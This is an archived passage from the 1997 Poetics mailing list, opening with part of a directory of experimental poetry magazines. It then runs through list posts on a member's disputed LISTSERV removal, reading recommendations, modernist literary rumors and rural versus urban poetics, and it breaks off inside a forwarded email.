Box 8832, Iowa City, IA 52240 ### POETIC BRIEFS, Jefferson Hansen, 4055 Yosemite Ave South, St Louis Park MN 55416 ### POETRY NEW YORK, Box 3184, Church St Station, New York NY 10008 ### POETRY PROJECT NEWSLETTER, THE WORLD, St Mark's Church, 131 East 10th St, New York NY 10003 ### PO'FLYE, Michael Crye, Box 1026, Ashland KY 41105 ### PRIMARY WRITING, 2009 Belmont Rd. N.W., Apt 203, Wash D.C. 20009 ### PRIVATE ARTS, Box 10936, Chicago IL, 60610 ### PROLIFERATION, Mary Burger, 1253 Hampshire St, San Francisco CA 94110 ### PROSODIA, New College of California, 766 Valencia San Francisco CA 94110 ### REMAP, Todd Baron, 2860 Exposition Blvd #A, Santa Monica CA 90404 ### RHIZOME, Standard Schaefer, 366 S. Mentor #108, Pasadena CA 91106 ### RIBOT, Paul Vangelisti, Box 65798, Los Angeles CA 90065 ### SCORE, Crag Hill, 1015 NW Clifford St, Pullman WA 99163 ### SEMIAUTOMATIC, Patrick Mullins, Rt 1, Box 133, La Farge WI 54639 ### SEMIQUASI EDITIONS, A. di Michele, Box 55892, Fondren Station, Jackson MS 39296 ### SHATTERED WIG REVIEW, Rupert Wondolowski, 2407 N. Maryland #1, Baltimore MD 21218 ### SITUATION, Mark Wallace, 10402 Ewell Ave, Kensington MD 20895 ### 6IX, H. Thomas, 914 Leisz's Bridge Rd, Reading PA 19605 ### THE SPITTING IMAGE, Julia Solis, Box 20400 Tompkins Square Station, New York NY 10009 ### SPLIT SHIFT, Roger Taus, 2461 Santa Monica Blvd #C-122, Santa Monica CA 90404 ### SPOUT, John Colburn, 28 West Robie St, St Paul MN 55107 ### SUGAR MULE, M.L. Weber, [redacted] ### SULFUR, Clayton Eshleman, English Dept, Eastern Michigan U., Ypsilanti MI 48197 ### SUPERFLUX, Leslie Davis, 629 Fillmore St, San Francisco CA 94117 ### SYN/AES/THE/TIC, Alex Cigale, Box 91, Canal St Station, New York NY 10013 ### SYNTACTICS, John Lowther, Box 1381, Decatur GA 30031 ### TALISMAN, Ed Foster, Box 3157, Jersey City, NJ 07303 ### TAPROOT REVIEWS, Luigi Bob Drake, Box 585, Lakewood OH 44107 ### TENSETENDONED, M. B. Corbett, Box 155, Preston Park PA 18455 ### TEXTURE, Susan Smith Nash, 3760 Cedar Ridge Drive, Norman OK 73072 ### :THAT:, 1070 Easton Valley Rd, Easton NH 03580 ### THIS IS IMPORTANT, Box 336 Sprague River OR 97639 ### TIGHT, Ann Erickson, Box 1591, Guerneville CA 95446 ### TINFISH, Susan Schultz, 1422A Dominis St, Honolulu HI 96822 ### TORQUE, Liz Fodaski, 21 East 2nd St #14, N.Y. NY 10003 ### TRANSMOG, Ficus Strangulensis, Route 6 Box 138, Charleston WV 25311 ### UBU WEB VISUAL & CONCRETE POETRY, Kenneth Goldsmith, http:///www.ubuweb.com/vp ### VOLT, Gillian Conoley, Box 657, Corte Madera CA 94967 ### THE WASHINGTON REVIEW, Joe Ross, Box 50132, Washington D.C. 20091 ### WAY, Tom Beckett, 131 N. Pearl St, Kent OH 44240 ### WITZ, Christopher Reiner, Box 40012, Studio City CA 91614 ### WOODEN HEAD REVIEW, Mark Hartenbach, 240 Thompson Ave, East Liverpool OH 43920 ### YEFIEF, Ann Racuya-Robbins, Box 8505, Santa Fe NM 87504 ### ZYX, Arnold Skemer, 58-09 205th St, Bayside

NY 11364 ### CANADIAN MAGAZINES ### THE ALTERRAN POETRY ASSEMBLAGE, David Dowker, http://home.ican.net/~alterra/ ### BOO, 1895 Commercial Dr, Box 116, Vancouver, B.C. V5N 4A6 ### BRITISH COLUMBIA MONTHLY, Gerry Gilbert, Box 48884, Station Bent., Vancouver, B. C. V7X 1A8 ### CABARET VERT, Beth Learn, Box 157 Station P, Toronto Ontario M5S 2S7 ### CAPILANO REVIEW, 2055 Purcell Way, North Vancouver, B.C. V7J 3H5 ### COLLECTIF REPARATION DE POESIE, Jean-Claude Gagnon, 359 rue Lavigueur # 1, Quebec, Quebec G1R 1B3 ### CRASH, Maggie Helwig, Box 562, Station P, Toronto Ontario M5S 2T1 ### DADABABY, Jaime Reid, 382 East 4th St, North Vancouver, B.C. V7L 1J2 ### FILLING STATION, Box 22135 Bankers Hall, Calgary AB T2P 4J5 ### HOLE, Louis Cabri & Rob Manery, L03-2556 East Hastings St, Vancouver B.C. V5K 1Z3 ### INDEX MAGAZINE, 4068 St Laurent, Box 42082, Montreal, Quebec H2W 2T3 ### OPEN LETTER, 499 Dufferin Ave, London, Ontario N6B 2A1 ### OVERSION, John Barlow, 1069 Bathurst St (3rd Floor) Toronto Ontario M5R 3G8 ### PUSH MACHINERY, Daniel Bradley, 30 Gloucester St #1005, Toronto, Ontario M4Y 1L6 ### RADDLE MOON, GIANTESS, Susan Clark, 2239 Stephens St, Vancouver B.C. V6K 3W5 ### RAMPIKE, Karl Jirgens, 81 Thorneloe Crescent, Sault Ste. Marie, Ontario P6A 4J4 ### RAW NERVZ HAIKU, 67 Court St, Aylmer, Quebec J9H 4M1 ### STAINED PAPER ARCHIVE, 1792 Byng Road, Windsor, Ontario N8W 3C8 ### TORQUE, Darren Werschler-Henry, Box 657 Station P, Toronto, Ontario M5S 2Y4 ### WEST COAST LINE, English Dept, Simon Fraser Univ, Burnaby B.C. V5A 1S6 ### MONDO HUNKAMOOGA, Stuart Ross, Box 141, Station F, Toronto, Ontario M4Y 2L4 ### U.K. MAGAZINES ### AND, Bob Cobbing, 89A Petherton Rd, London N5 2QT ### ANGEL EXHAUST, Andrew Duncan, 27 Sturton St, Cambridge CB1 2QG ### EONTA, 27 Alexandra Rd, Wimbledon, London SW19 7IJ ### FIRST OFFENSE, Tim Fletcher, Syringa, The Street, Stodmarsh, Canterbury, Kent CT3 4BA ### FRAGMENTE, Anthony Mellors, 3 Town Green Rd, Orwell, Cambridge ### INTIMACY, Adam McKeown, Apt C, Romney House, 1 Charles St, Maidstone, Kent ME16 8EU ### OASIS, Ian Robinson, 12 Stevenage Rd., London SW6 6ES ### PAGES, Robert Sheppard, Edge Hill University College, Ormskirk, Lancashire L39 4QP ### RADICAL POETICS, Mike Hrebeniak, 23 Broadcroft Ave, Stanmore, Middlesex, HA7 1NT ### RAMRAID EXTRAORDINAIRE, Chris Brooke, 57 Canton Court, Canton, Cardiff ### RWC, Lawrence Upton, 32 Downside Road, Surrey SM2 5HP ### SHEARSMAN, Tony Frazer, c/o Hong Kong & Shanghai Bank, Macau Mgt Office, Box 476, Macau ### SPANNER, Allen Fisher, 14 Hopton Rd, Hereford HR1 1BE ### STRIDE, Rupert Loydell, 11 Sylvan Rd, Exeter, Devon EX4 6EX ### TERRIBLE WORK, Tim Allen, 21 Overton Gardens, Mannamead, Plymouth PL3 5BX ### USSR 1049 ORANGE, Watson Press "Cestria", 21 Gladstone St, Hartepool, Cleveland TS24 0PE ### VERTICAL IMAGES, 62 Langdon Park Rd, London N6 5QG ### WORDS WORTH, Alaric Sumner, BM Box 4515,

London WC1N 3XX ### CONTINENTAL EUROPE, AND ELSEWHERE ### ACTION POETIQUE, Henri Deluy, 3 rue Pierre-Guignois, 94200 Ivry-sur-Seine, France ### AMAE, Apdo 47, 28921 Alcoron (Madrid) Spain ### ART POSTALE, Vittore Baroni, Via C Battista 339, 55049 Viareggio, Italy ### AXLE, Tony Figallo, Box 4180 Richmond East, Victoria, Australia ### BACK TO FRONT, John Geraets, Liberal Arts, Aichi-Gakuin Univ, 12 Iwasaki, Araike, Nisshin-shi, Aichi-ken, 470-01, Japan ### BANANA SPLIT, Peter Bangsvej 74, 2000 Frederiksberg, Denmark ### A BRIEF DESCRIPTION OF THE WHOLE WORLD, Alan Loney, Box 55-124, Mission Bay, Auckland, 1005, New Zealand ### BRIO CELL, LINGUA BLANCA, GLOSSOLALIA, J. Lehmus, Stenbocksv. 24, 02860 Esbo, Finland, [redacted] ### CARPETAS EL PARAISO, Jose Luis Campal, Apt N. 6, 33980 Pola de Lavinia, Asturias, Spain ### CELACANTO, Marcelo Casarin, Quisquisacate 125, 5008 Cordoba, Argentina ### COMUNICARTE, Hugo Pontes, Caixa Postal 922, 37701-970 Pocos de Caldas, Brazil ### D'UN MOM ENCA, EL TRAPAS & IMAT, Apdo 9142, 08080 Barcelona, Spain ### DAS FROLICHE WOHNZIMMER, Fritz Widhalm, Fuhrmanngasse 1A/7, 1080 Wien Austria ### DIMENSAO, Guido Brilharinho, Caixa Postal 140, Uberaba 38001, Brazil ### DOC(K)S, Phillipe Castellin, 20 Rue Bonaparte, Ajaccio, France 2000 ### FULL, Ramon Salvo, Apdo 20033, 08080 Barcelona Spain ### GARATUJA, C. Postal 41, Bento Goncalves/RS 95700 Brazil, GOING DOWN SWINGING, Box 24, Clifton Hill, Victoria 3068, Australia ### GRAFFITI, Horacio Versi, Colonia 815, of. 105, Montevideo, Uruguay ### IF, Jean-Jacques Viton, 12 Place Castellane, 13006 Marseille, France ### INIA KELMA, Nueva, 4, 41770 Montellano Spain ### INTERARTE, Douglas Zunino, Odebrecht 97, 89021 Blumenau, SC, Brazil ### LA ISLA DE BARATARIA, Mario Sampaolesi, Avda. Rivadavia 4977 - 9 "C" , (1424) Buenos Aires, Argentina ### JOURNALECO, Caixa Postal 8622, Ag Itaigara, 41857-970 Salvador, Bahia, Brazil ### KARREE, http://huizen.dds.nl/~karree ### KARTA, Bartek Nowak, Spoldzielcza 3/39, 42-300 Myszkow, Poland ### KERAUNIA, Sergio Fumich, via P. Togliatti, 3-20070 Brembio-Mi, Italy ### JALOUSE PRATIQUE, 80 rue Henon, 69004 Lyon, France ### LEOPOLD BLOOM, Vaci M. u. 4. I. 8., H-9700 Szombathely, Hungary ### MAGYAR MUHELY, Minerva u 3/a, H-1118 Budapest, Hungary ### MANDORLA, Roberto Tejada, Apartado postal 5-366, Mexico D.F., Mexico 06500, ### MANI ART, THE SECRET LIFE OF MARCEL DUCHAMP, Pascal Lenoir, 11 Ruelle De Champagne, 60680 Grandfresnoy, France ### MINIATURE OBSCURE, Gerhild Ebel, Cornelia Ahnert, Landrain 143, 06118 Halle/Saale, Germany ### MITO, via G. Bruno 37, 80035 Nola, Italy ### NIOQUES, Jean-Marie Gleize, 4 rue de Cromer, 26400 Crest, France ### NUMERO, Wilfred Nold, Eppsteinstr. 22, D-60323 Frankfurt, Germany ### O APIPUCOS, R. Cahetes, 401 - Apipucos, Recife/PE, CEP 52 071 - 390, Brazil ### OFFERTA SPECIALE, Carla Bertola, Corso De Nicola 20, 10128 Torino,

Italy ### OLHO LATINO, Paulo Cheida Sans, Rua Padre Bernardo da Silva 856, 13030 Campinas, SP, Brazil ### OTIS RUSH, Box 21, North Adelaide, 5006 South Australia ### PINTALO DE VERDE, Antonio Gomez, APDO 186, 06800 Merida, Badajoz, Spain ### PIPS DADA CORPORATION, Claudia Putz, Prinz-Albert Str. 31, 53115 Bonn, Germany ### PLURAL, Paseo de la Reforma 18.1 piso, Deleg. Cuauhtemoc, DF 06600, Mexico ### P.O.BOX (Merz Mail), Pere Sousa, apdo 9326, 08080 Barcelona Spain ### POESIE, Michel Deguy, 8 rue Ferou, 75278 Paris Cedex 06, France ### POESIE EUROPE, Postfach 180429, D-60085, Frankfurt/Main, Germany ### POSTYPOGRAPHIKA, http://www.postypographika.com ### PRAKALPANA LITERATURE, KOBISENA, P-40 Nandana Park, Calcutta 700034, West Bengal, India ### PRINTED MATTER, Edgar Henry, 2-15-6 Zenpukuji, Suginami-ku, Tokyo 167 Japan ### REVUE PRETEXTE, 11 rue Villedo, 75001 Paris, France ### RRAT, Tim Gaze, Box 1011, Kent Town SA 5071 Australia ### SCARP, Ron Pretty, Univ of Wollongong, Box 1144, Wollongong, NSW 2500, Australia ### SHISHI, Shoji Yoshizawa, 166 Suginami-ku koenjikita, 3-31-5 Tokyo, Japan ### SIGN'ZINE, Industrias Mikuerpo, Apdo 36.455, 28080 Madrid, Spain ### 69 ANALGESIC, Cesar Figueiredo, Apdo 4134, 4002 Porto Codex, Portugal ### SIVULLINEN, Jouni Vaarakangas, Kaarelantie 86 B 28, 00420 Helsinki, Finland ### SPINNE, Dirk Frohlich, Priessnitzstrasse 19, 01099 Dresden, Germany ### SPORT, Box 11-806, Wellington, New Zealand ### TERAZ MOWIE, Hartmut Andryczuk, Elsastr. 4, 12159 Berlin, Germany ### TEXTURAS, Angela Serna, Apdo de correos 2201, 01080 Vitoria, Spain ### TOENDRA, http://www.xs4all.nl/~roberi/ ### TRANSFUSION, Alessandro Ceccotto, C.P. 116, 45011 Adria (RO) Italy ### VISUAL POETRY S.O.S., Alfredo Slang, via Ferro De Cavallo, 10, 31100 Treviso, Italy ### VOLL-ZINE, Rainer Golchert, Soderstrabe 29, 64283 Darmstadt, Germany ### YE, FALTBLATT, Theo Breuer, Neustrasse 2, 53925 Sistig/Eifel, Germany ### XUL, Jorge Perednik, Plaza 1629, (1430) Buenos Aires, Argentina ### ZAZIE, Box 521 Market St, Melbourne, Victoria, 8007 Australia ### ZOOM-ZOUM, Josee Lapeyrere, 4 rue des Carmes, 75005 Paris, France ### ZWISCHEN DEN ZEILEN, Urs Engeler, Hoernlistrasse 27, CH 8400 Winterthur, Switzerland ### The preceding list is based on the research and judgments of Spencer Selby. The term "experimental" is not meant as a characterization of anyone's specific editorial focus or perspective. Please circulate, and mail possible additions, deletions, address changes or other comments to Spencer Selby, P.O. Box 590095, San Francisco CA 94159, U.S.A. email: [redacted] fax: [redacted] This is list #50, dated 9/97 ###

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342. **Herb Levy**
Re: Your message to [redacted]
Mon 22 Sep 1997

David,

I don't know any details about Red Slider's removal from the poetics list, but I do know that the e-address <[redacted]> does not seem to be valid (at least running whois & a couple of other arcane protocols came up with nothing). If mail to this address began to bounce & Red Slider didn't send

> *further authentication of either his name or his e-ddress,*

there'd be no way for the automated listserv program to deal with him. If Red Slider has been getting e-mail forwarded through this address, it may no longer work.

As to the chilling quality of the prose you quote, whether it seems "natural" or not, computers are so stupid they can only do what they are told. If a program like listserv has specific instructions on how to respond to the words "unsubscribe", "kiss me", or "renga", when it finds them in a message it can only respond that way. For example, in the case of several lists I'm on, using the word h e l p (without spaces) kicks the message out to the listowner, no matter what context the word was used in, delaying your message til someone forwards it with the offending word changed.

In any case, the text you find so chilling is after this text:

> *Your message to [redacted] has been*
> *forwarded to the "list owners" (the people who manage the POETICS list).*
> *If you wanted to reach a human being, you used the correct procedure and*
> *you can ignore the remainder of this message.*

Since you were in fact trying to reach a real person, as it says, ignore the remainder of the message, including what "naturally" follows.

No matter how much time WE may spend on line, thinking back to those times the list reaches its fifty message limit, it's clear that Joel Kuszai, Charles Bernstein, and whoever else administers the list sometimes take a day or two off, especially on weekends.

I don't know whether the problem with Slider is only that his e-address isn't valid, I haven't seen the correspondence you have. I do know that without a valid e-mail address it'd be difficult to receive e-mail from the list.

> *My message concerned Red Slider, and his request to me (via another list he*
> *and I are on) to lend him support in his attempt to find reinstatement on*
> *the Poetics List, from which he has been, in his own term, "86'd", for*
> *causes he cannot determine. I care both because Red strikes me as a*
> *likeable guy worth having with us, & also because I want to know what he*

did or didnt do to earn a banishment I myself wish to avoid.

Because Red included the correspondence from the Buffalo end with his message, I know that he was being told that, lacking further authentication of either his name or his e-ddress,the Poetics List could not continue his membership. I e-mailed the List e-ddress I had for such matters, & perhaps will receive a human response eventually. Meanwhile, though, I forward this one, because of the chilling, 1984-ish tone of the sentence in the following para, the sentence which begins, "Naturally..." and contains the info that if you write in about someone else's concerns with leaving the List, you may well be eliminated from it yourself. So, if you dont hear from me again, you'll leastwise know down which plughole I went.

Meanwhile, I await clarification of the murky Red Slider 86'd issue--backchannel will do fine.

The "listname-request" convention originated on the Internet a long time ago. At the time, lists were always managed manually, and this address was defined as an alias for the person(s) in charge of the mailing list. You would write to the "listname-request" address to ask for information about the list, ask to be added to the list, make suggestions about the contents and policy, etc. Because this address was always a human being, people knew and expected to be talking to a human being, not to a computer. Unfortunately, some recent list management packages screen incoming messages to the "listname-request" address and attempt to determine whether they are requests to join or leave the list. They look for words such as "subscribe", "add", "leave", "off", and so on. If they decide your message is a request to join or leave the list, they update the list automatically; otherwise, they forward the message to the list owners. Naturally, this means that if you write to the list owners about someone else's unsuccessful attempts to leave the list, you stand good chances of being automatically removed from the list, whereas the list owners will never receive your message. No one really benefits from this. There is no reliable mechanism to contact a human being for assistance, and you can never be sure whether your request will be interpreted as a command or as a message to the list owners. This is why LISTSERV uses two separate addresses, one for the people in charge of the list and one for the computer that runs it. This way you always know what will happen, especially if you are writing in a language other than English.

In any case, if your message was a LISTSERV command, you should now resend it to [redacted]. The list owners know that you have received this message and may assume that you will resend the command on your own. You will find instructions for the most common administrative requests below.

****

> ** TO LEAVE THE LIST **
> **********
>
> *Write to [redacted] and, in the text of your message (not the subject line), write: SIGNOFF POETICS*
>
> **********
> ** TO JOIN THE LIST **
> **********
>
> *Write to [redacted] and, in the text of your message (not the subject line), write: SUBSCRIBE POETICS*
>
> **********
> ** FOR MORE INFORMATION **
> **********
>
> *Write to [redacted] and, in the text of your message (not the subject line), write: "HELP" or "INFO" (without the quotes). HELP will give you a short help message and INFO a list of the documents you can order.*

Herb Levy
[redacted]

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343. David R. Israel
Re: subtext w/ Bromige & Blaser
Mon 22 Sep 1997

Thanks Brian C. for the text re: subtext; (as there's a vague chance I might surface in Seattle next summer, it's great to get these preludial sub-billiard-hall-ambient-atmospherics gestalticals) --

> *Next month at Subtext features Ezra Mark and Tom Raworth. This should also warrant some reportage, no doubt. In the meantime...*

look forward to it; meanwhile,

> *David Bromige was the first reader. This was highly entertaining, as many of the listfolk here would suspect. He opened with the amusing "T is for Tethered," and followed up with a material from a longer sequence of new work. He also included a bit from the recent David B./David I. thread here on POETICS. As I recall, he was also sporting a pair of red-rimmed glasses, which I had never seen the likes of before. I confess this is probably the best I can do in the way of a fashion report on the event.*

Oddly enough, I'm wearing green-rimmed spectacles as a sprach. You can sign me (honorarily, & notwithstanding I'm a tad doubtful abt. the 1984isms my nominative better po-self apprehands afloat),

Green Slider

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crag, good to see ya on the list, Im having flashbacks to the 80s & the life of elaborate networking. just too bad that the stare of the monitor doesnt have the tactile feel of opening an envelop jammed full of goodies.

miekal

from the avantgarde wildernesse

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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345. **Layne Russell**
Re: Red's "86"
Mon 22 Sep 1997

Herb Levy wrote:
>
> David,
>
> I don't know any details about Red Slider's removal from the poetics list,
> but I do know that the e-address <[redacted]> does not seem to be valid
> (at least running whois & a couple of other arcane protocols came up with
> nothing). If mail to this address began to bounce & Red Slider didn't send
>
> >further authentication of either his name or his e-ddress,
>
> there'd be no way for the automated listserv program to deal with him. If
> Red Slider has been getting e-mail forwarded through this address, it may
> no longer work.

I have emailed Red at his address (there is a website that "accompanies" it) for many months. how on earth could the address be nonfunctional or invalid, etc.? this is quite a mystery, indeed.

this situation needs to be sorted out. this is not right. what is going on? I hate to see this happening to anyone on this list.... it has to be a mistake.

I hope Red is back with us soon.

Layne

http://www.sonic.net/layne

↑ Index

346. **henry**
Re: Seeking confirmation of modernist literary rumors
Mon 22 Sep 1997

On Mon, 22 Sep 1997 07:54:27 +0800 Schuchat Simon said:
>Wallace Stevens wife modeled the figure of liberty which appears on the
>obverse of a coin, I'm not sure if it was the pre roosevelt dime or what,
>maybe the buffalo nickel.

It was the dime. Rumor has it it was minted by Ezra Pound's father & spent (his last) on a can of Bub's beer by Jack Spandrift in North Cheese, Minnesota, in 1936. As he spun it on the counter, (just laid off of his cook's gig at the lumber camp) Jack was heard to croon:

Lady Liberty, farewell,
I'm gonna cruise the gutter now -
ain't no silver gal in hell
can dance the tabletop like you -
you been good to me, so long,
I'm goin' dry...

Spandrift was arrested a few days later for vagrancy & wound up laying side track for the Great Northern wearing stripes. See Louis Dexterious's collection _Sing a Soggy Sixpence : An Oral History of Post-Prohibition North Cheese_, forthcoming from Univ. of Left Overbie Press (8,045 pp., glory bound) - Henry Gould

↑ Index

347. **Bob Grotjohn**
Re: writing about writing
Mon 22 Sep 1997

William Marsh wrote:
>
> Poetics Folks:
>
> putting together a small packet for my cre wri class of what i'm loosely
> calling "writing about writing" / would greatly appreciate any suggestions
> for good samples (poems, stories), ie, Stevens' "Of Modern Poetry" / 20th
> century mostly / the shorter the better
>
> thanks for responses

>
> bill marsh

WC Willams "To a Solitary Disciple." Good and short. Along the same lines (sort of)--Stevens "Bantams in Pine-Woods."
--
Bob Grotjohn

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348. **Layne Russell**
Re: Red's "86"
Mon 22 Sep 1997

[redacted] wrote:
>
> At 9:56 AM +0000 9/22/97, Layne Russell wrote:
>
> >I have emailed Red at his address (there is a website that "accompanies"
> >it) for many months. how on earth could the address be nonfunctional or
> >invalid, etc.? this is quite a mystery, indeed.
> >
> >this situation needs to be sorted out. this is not right. what is
> >going on? I hate to see this happening to anyone on this list.... it
> >has to be a mistake.
>
> I didn't see the beginning of this thread, having been out of town and not
> being able to face the 150+ old poetics messages that awaited me, but if
> I'm surmising right what's being discussed here--I believe that the issue
> is that pseudonyms are not allowed on the Poetics List--I don't think
> there's anything *personal* being/having been done to RS.
>
> Dodie

Dodie and anyone who knows how this works,

Red Slider *is* Red Slider, and his email address *is* his email address. (He also has an extensive poetry website, is on two other poetry lists I'm on, and I know where he lives, etc.) How can the "list" determine otherwise? I don't understand.

Layne

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349. Laurie Schneider/Crag Hill

Rural vs. Urban Poetics?

Mon 22 Sep 1997

When I left the Bay Area three years ago for Pullman, Washington, I fell into a poetics void. Not only were readers of poetry not reading Clark Coolidge, Hannah Weiner, or Mark Wallace, they hadn't even heard of them or their compatriots -- formal innovation is not even (or uneven) on a horizon dominated by personal expression. So I've been wondering: As a sub/plot/text of rural/urban demographic differentiations, is there a split in poetics, rural versus urban? Why is a reader in Pullman or neighboring Moscow, Idaho (50,000 people, more than half of whom are associated either with Washington State or the University of Idaho) more likely to read Sharon Olds than Lyn Hejinian or Robert Haas rather than Ron Silliman? If English and Creative Writing professors are the powers that determine, why are they knowledgable of the poetics of Olds and Haas with virtually no knowledge of formal experimentation after the 1970's? Or more intriguing questions: Does geographic space (Pullman, in the rolling hills of southeastern Washington, has no major metropolitan area closer than Seattle five hours away) influence poetics? Is small town pace reflected in the nature of language readers and writers choose to engage? I have no doubt many on the list reside in rural areas -- what's your take on this? As a standing invitation, if you're in the area (or willing to drive from Seattle), I can offer a place to read in Moscow (and a place to stay, of course). Help inform. Best, Crag Hill

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350. Charles Bernstein

Peter Quatermain's new address

Mon 22 Sep 1997

> *From: Peter Quartermain <[redacted]>*
>
> ---
>
> *CHANGE OF ADDRESS*
>
> *Please note that, effective immediately, Peter and Meredith Quartermain's new address is:*
>
> *846 Keefer Street*
> *Vancouver*
> *British Columbia*
> *Canada V6A 1Y7*
>
> *Telephone* [redacted]

> *fax* [redacted]
>
> *These two numbers are UNLISTED, so you won't be able to get them from the phone company if you lose them.*
>
> *E-mail address is unchanged.*
>
> ---

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351. **john_lavagnino**

Re: Seeking confirmation of modernist literary rumors

Mon 22 Sep 1997

|
| everything i hear about the new "reader's edition" of the joyce is
| horrible--and virtually everyone, i think, who are members of the
| societry for textual scholarship would concur with this. no, never
| mind "virtually"; make that simply "everyone."
| burt kimmelman
|

I agree. And yet...

What we seem to be talking about are changes of punctuation and spelling. If Danis Rose was editing Shakespeare rather than Joyce, he would call this "modernization", and nobody would give it a second thought. Of the innumerable editions of Shakespeare now available, I know of only two that diverge from the usual practice, which involves modernization of spelling and punctuation on a scale far vaster than Rose's program (the two are the original-spelling version of the Oxford Shakespeare, and the Shakespeare Originals series). And it isn't just Shakespeare: there are lots of editions of poets as late as Yeats that do this. The Penguin English Poets and Longman Annotated English Poets series impose modernization as part of their editorial policy. In the case of Shakespeare, you can at least present a good argument that we have very little idea of how Shakespeare spelled and punctuated; but this isn't the case with poets like Milton, Keats, Shelley, and Browning, who are all published in modernized form in these popular series.

And I own a copy of an anthology from a college course in which Joyce's story "The Dead" is printed with conventional quotation marks, rather than the dashes he's known to have preferred. We've got plenty of reason to be

interested in the way Joyce wanted to spell and punctuate, and we have very reliable information on his preferences; I also am not convinced that modernization makes *Ulysses* noticeably easier to read (assuming that's even a worthwhile goal). Still, Rose is getting a lot of heat for doing something that is actually a very common practice.

John Lavagnino

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352. Miekal And
online resources, eh?
Mon 22 Sep 1997

Wondering if anyone knows of any online resources that compile places (both academic & beyond) which are actively seeking poets & writers for reading programs, residencies, & workshops....

getting tired of reading to the goats.

miekal

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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353. Maria Damon
Re: writing about writing
Mon 22 Sep 1997

---

a whole novel, but a quick read: raymond federman's "To Whom it May Concern."

At 12:38 PM -0700 9/21/97, Carl Lynden Peters wrote:
>hi there bill!
>
>> putting together a small packet for my cre wri class of what i'm loosely
>> calling "writing about writing" / would greatly appreciate any suggestions
>> for good samples (poems, stories), ie, Stevens' "Of Modern Poetry" / 20th
>> century mostly / the shorter the better
>
>bpNichol! (Everything!))

>
>Wordsworth! "Tintern Abbey"
>
> (are you going to anthologize it by nation, genre, etc.
>
>oh this is too much!!
>
>i wld put _Four Quartets_ there. and then go to the sapphires in the mud.
>and then next go to 'and the fire & the rose are one,' and ask: are they?
>
>lemme know what you do, bill! c.!

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354. **p. durgin**
Re: Rural vs. Urban Poetics?
Mon 22 Sep 1997

I, for one, am in a rural area and came here expecting a community of language artists. Iowa City, with its self-lauding poetry scene, is decades behind despite its smug clasp on an international reputation. Formally innovative anything is suspect here, and I beleive the isolation of the individuals reflects the landscape. It is the irrepressible mediocrity of those individuals which is to blame. Not the landscape.

I[I]I [redacted] I[I]I

On Mon, 22 Sep 1997, Laurie Schneider/Crag Hill wrote:

> *When I left the Bay Area three years ago for Pullman, Washington, I fell into a poetics void. Not only were readers of poetry not reading Clark Coolidge, Hannah Weiner, or Mark Wallace, they hadn't even heard of them or their compatriots -- formal innovation is not even (or uneven) on a horizon dominated by personal expression. So I've been wondering:*
>
> *As a sub/plot/text of rural/urban demographic differentiations, is there a split in poetics, rural versus urban?*
>
> *Why is a reader in Pullman or neighboring Moscow, Idaho (50,000 people, more than half of whom are associated either with Washington State or the University of Idaho) more likely to read Sharon Olds than Lyn Hejinian or Robert Haas rather than Ron Silliman?*
>
> *If English and Creative Writing professors are the powers that determine, why are they knowledgable of the poetics of Olds and Haas with virtually no knowledge of formal experimentation after the 1970's?*
>
> *Or more intriguing questions: Does geographic space (Pullman, in the rolling hills of southeastern Washington, has no major metropolitan area closer than Seattle five hours away) influence poetics? Is small town pace reflected in the nature of language readers and writers choose to*

> *engage?*
> *I have no doubt many on the list reside in rural areas -- what's your take on this?*
> *As a standing invitation, if you're in the area (or willing to drive from Seattle), I can offer a place to read in Moscow (and a place to stay, of course). Help in-form.*
> *Best, Crag Hill*

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355. **joel kuszai**
New from Meow Press
Mon 22 Sep 1997

New from Meow Press:

Dodie Bellamy, Hallucinations
Kevin Killian, Argento Series
Aaron Shurin, Codex

For more information:
http://writing.upenn.edu/~kuszai/mpweb/meowpress.html

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356. **Layne Russell**
Re: confusion/Red's 86
Mon 22 Sep 1997

---

dear list,

actually, red has received human messages on this matter after he wrote asking about it, but still it is unclear what the real problem is. all this presumably centers around his name and his email address being in some way invalid, but since red has written to clear that up, and it is still not resolved, he is of course thinking there are other unrevealed reasons he is off the list.

i send this because red cannot access the list himself at this time. I would only add to his info herein that "TheFarm" was never used as the name of a person; it's merely an email address. what does this have to do with anything? i've seen other equally creative non-name email addresses on the list.

i realize i may be jeopardizing my subscription to Poetics by putting this up, but so be it. it seems important to get this straightened out, and if this helps in any way to cut through the confusion, then it's worth it.

Layne

here is a copy of red's email sent to me regarding the correspondence:

----------***

Subject:
86'd from SUNY
Date:
Fri, 19 Sep 1997 23:42:57 -0700
From:
red slider <[redacted]>
To:
"'[redacted]'" <[redacted]>, "'[redacted]'"
<[redacted]>

David and Layne -

Evidently, I have been summarily dismissed from the SUNY listserver. Therefore, I could not bring to public attention something disturbing which seemed to be going on behind the scenes. Ok with me if you both think I have been fairly dismissed (or you wish to simply not be involved). Otherwise I'd appreciate it if one of you could post my (apparently) last message to the group, with my best regards.

thanx

red.

This was the text of my message (including the list refusal) spelling and
typos and all.

You are not authorized to send mail to the POETICS list from your
[redacted] account. You might be authorized to send to the list from
another of your accounts, or perhaps when using another mail program
which
generates slightly different addresses, but LISTSERV has no way to associate
this other account or address with yours. If you need assistance or if you
have
any question regarding the policy of the POETICS list, please contact the

list
owners: [redacted].

---------- Rejected message (140 lines)
---
by listserv.acsu.buffalo.edu with SMTP; 20 Sep 1997 06:26:57 -0000
by tomcat.ns.net (8.8.5/8.8.5) with SMTP id XAA12522
for <[redacted]>; Fri, 19 Sep 1997
23:26:53 -0700
(PDT)
id <[redacted]>; Fri, 19 Sep 1997 23:20:50
-0700
From: red slider <[redacted]>
To: "'sunylist'" <[redacted]>
Subject: Is Joel's mail being intercepted?
Date: Fri, 19 Sep 1997 23:20:35 -0700
Encoding: 124 TEXT

To all list members:

I have received two unsigned and, in one case, deliberately cryptic "temporary name" identified, messages from the Buffalo server. My reply, given below, went directly to Joel. However, now I am not so sure since the reply to that came back from an unidentified source and I know Joel signs his own replies.

I think it appropriate to bring matters into the open where everyone can see them before things get any worse. I enclose the first message I received, my reply and the second message received.

Here then is the communications from the machine in your garden, and my reply.

From: Poetics List[SMTP:[redacted]]
Sent: Wednesday, September 17, 1997 2:31 AM
To: red slider
Subject: Poetics List

